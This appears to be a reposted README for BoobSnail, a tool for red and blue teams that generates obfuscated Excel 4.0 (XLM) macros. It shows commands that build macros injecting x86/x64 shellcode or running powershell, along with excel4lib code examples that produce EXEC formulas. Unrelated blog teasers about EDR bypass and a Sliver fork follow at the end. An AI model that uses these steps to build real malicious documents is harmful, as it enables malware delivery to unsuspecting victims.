BoobSnail allows generating XLM (Excel 4.0) macro. Its purpose is to support the RedTeam and BlueTeam in XLM macro generation. Features:
Building and Running
Tested on: Python 3.8.7rc1
pip install -r requirements.txt
python boobsnail.py
. . .._
_ |_ _ |_ / / || | | \ / \ / _ | _ \ _ \ / __ \ | | |
| _\ ( <_> | <_> ) _\ \/ \ | \/ _ | | |_
|_ /__/ ____/|_ / /| ( /|__/
\/ \/ \/ \/ \/
Author: @_mzer0 @stm_cyber
(…)
Generators Usage
python boobsnail.py -h
To display available generators type:
python boobsnail.py
Examples
Generate obfuscated macro that injects x64 or x86 shellcode:
python boobsnail.py Excel4NtDonutGenerator –inputx86 –inputx64 –out boobsnail.csv
Generate obfuscated macro that runs calc.exe:
python boobsnail.py Excel4ExecGenerator –cmd “powershell.exe -c calc.exe” –out boobsnail.csv
Saving output in Excel
BoobSnail shares the excel4lib library that allows creating your own Excel4 macro generator. excel4lib contains few classes that could be used during writing generator:
The main idea of this library is to represent Excel4 formulas, variables, formulas arguments, and values as python objects. Thanks to that you are able to change instructions attributes such as formulas or variables names, values, addresses, etc. in an easy way. For example, let’s create a simple macro that runs calc.exe
from excel4lib.macro import *
#Create macro object
macro = Excel4Macro(“test.csv”)
#Add variable called cmd with value “calc.exe” to the worksheet
cmd = macro.variable(“cmd”, “calc.exe”)
#Add EXEC formula with argument cmd
macro.formula(“EXEC”, cmd)
#Dump to CSV
print(macro.to_csv())
Result:
cmd=”calc.exe”;
=EXEC(cmd);
Now let’s say that you want to obfuscate your macro. To do this you just need to import obfuscator and pass it to the Excel4Macro object:
from excel4lib.macro import *
from excel4lib.macro.obfuscator import *
#Create macro object
macro = Excel4Macro(“test.csv”, obfuscator=Excel4Obfuscator())
#Add variable called cmd with value “calc.exe” to the worksheet
cmd = macro.variable(“cmd”, “calc.exe”)
#Add EXEC formula with argument cmd
macro.formula(“EXEC”, cmd)
#Dump to CSV
print(macro.to_csv())
For now excel4lib shares two obfuscation classes:
As you can see you can write your own obfuscator class and use it in Excel4Macro.
Sometimes you will need to translate your macro to another language for example your native language, in my case it’s Polish. With excel4lib it’s pretty easy. You just need to import Excel4Translator class and call set_language.
from excel4lib.macro import *
from excel4lib.lang.excel4_translator import *
#Change language
Excel4Translator.set_language(“pl_PL”)
#Create macro object
macro = Excel4Macro(“test.csv”, obfuscator=Excel4Obfuscator())
#Add variable called cmd with value “calc.exe” to the worksheet
cmd = macro.variable(“cmd”, “calc.exe”)
#Add EXEC formula with argument cmd
macro.formula(“EXEC”, cmd)
#Dump to CSV
print(macro.to_csv())
Result:
cmd=”calc.exe”;
=URUCHOM.PROGRAM(cmd);
For now, only the English and Polish language is supported. If you want to use another language you need to add translations in the excel4lib/lang/langs directory.
For sure, you will need to create a formula that takes another formula as an argument. You can do this by using Excel4Macro.argument function.
from excel4lib.macro import *
macro = Excel4Macro(“test.csv”)
#Add variable called cmd with value “calc” to the worksheet
cmd_1 = macro.variable(“cmd”, “calc”)
#Add cell containing .exe as value
cmd_2 = macro.value(“.exe”)
#Create CONCATENATE formula that CONCATENATEs cmd_1 and cmd_2
exec_arg = macro.argument(“CONCATENATE”, cmd_1, cmd_2)
#Pass CONCATENATE call as argument to EXEC formula
macro.formula(“EXEC”, exec_arg)
#Dump to CSV
print(macro.to_csv())
Result:
cmd=”calc”;
.exe;
=EXEC(CONCATENATE(cmd,R2C1));
As you can see “.exe” string was passed to CONCATENATE formula as R2C1. R2C1 is address of “.exe” value (ROW number 2 and COLUMN number 1). excel4lib returns references to formulas, values as addresses. References to variables are returned as their names. You probably noted that Excel4Macro class adds formulas, variables, values to the worksheet automaticly in order in which these objects are created and that the start address is R1C1. What if you want to place formulas in another column or row? You can do this by calling Excel4Macro.set_cords function.
from excel4lib.macro import *
macro = Excel4Macro(“test.csv”)
#Column 1
#Add variable called cmd with value “calc” to the worksheet
cmd_1 = macro.variable(“cmd”, “calc”)
#Add cell containing .exe as value
cmd_2 = macro.value(“.exe”)
#Column 2
#Change cords to columns 2
macro.set_cords(2,1)
exec_arg = macro.argument(“CONCATENATE”, cmd_1, cmd_2)
#Pass CONCATENATE call as argument to EXEC formula
exec_call = macro.formula(“EXEC”, exec_arg)
#Column 1
#Back to column 1. Change cords to column 1 and row 3
macro.set_cords(1,3)
#GOTO EXEC call
macro.goto(exec_call)
#Dump to CSV
print(macro.to_csv())
Result:
cmd=”calc”;=EXEC(CONCATENATE(cmd,R2C1));
.exe;;
=GOTO(R1C2);;
EDR bypass technology is not just for attackers. Many malware now have EDR bypass capabilities,…
Welcome to Better-Sliver, a fork of the Sliver project. This fork is intended to be…
This is the repository for the Introduction to Fuzzing Lab run by ACM Cyber at…
This repository provides a Proof of Concept (PoC) for testing various vulnerabilities in the Apache…
A GPU-accelerated cross-platform terminal emulator and multiplexer written by @wez and implemented in Rust Getting…
一句话介绍工具: AutorizePro 是一款创新性的内置AI分析模块的专注于越权检测的 Burp 插件 (已有多个白帽反馈用工具嘎嘎挖到src洞, 每周末更新, 欢迎Star🌟以便持续跟踪项目最新版本功能) 工具背景 越权漏洞在黑盒测试、SRC挖掘中几乎是必测的一项,但手工逐个测试越权漏洞往往会耗费大量时间。 而自动化工具又因为接口的多样化,难以制定一个全面的检测逻辑而存在大量误报, 基于此产生了 AI辅助分析的检测工具 ➡️ AutorizePro…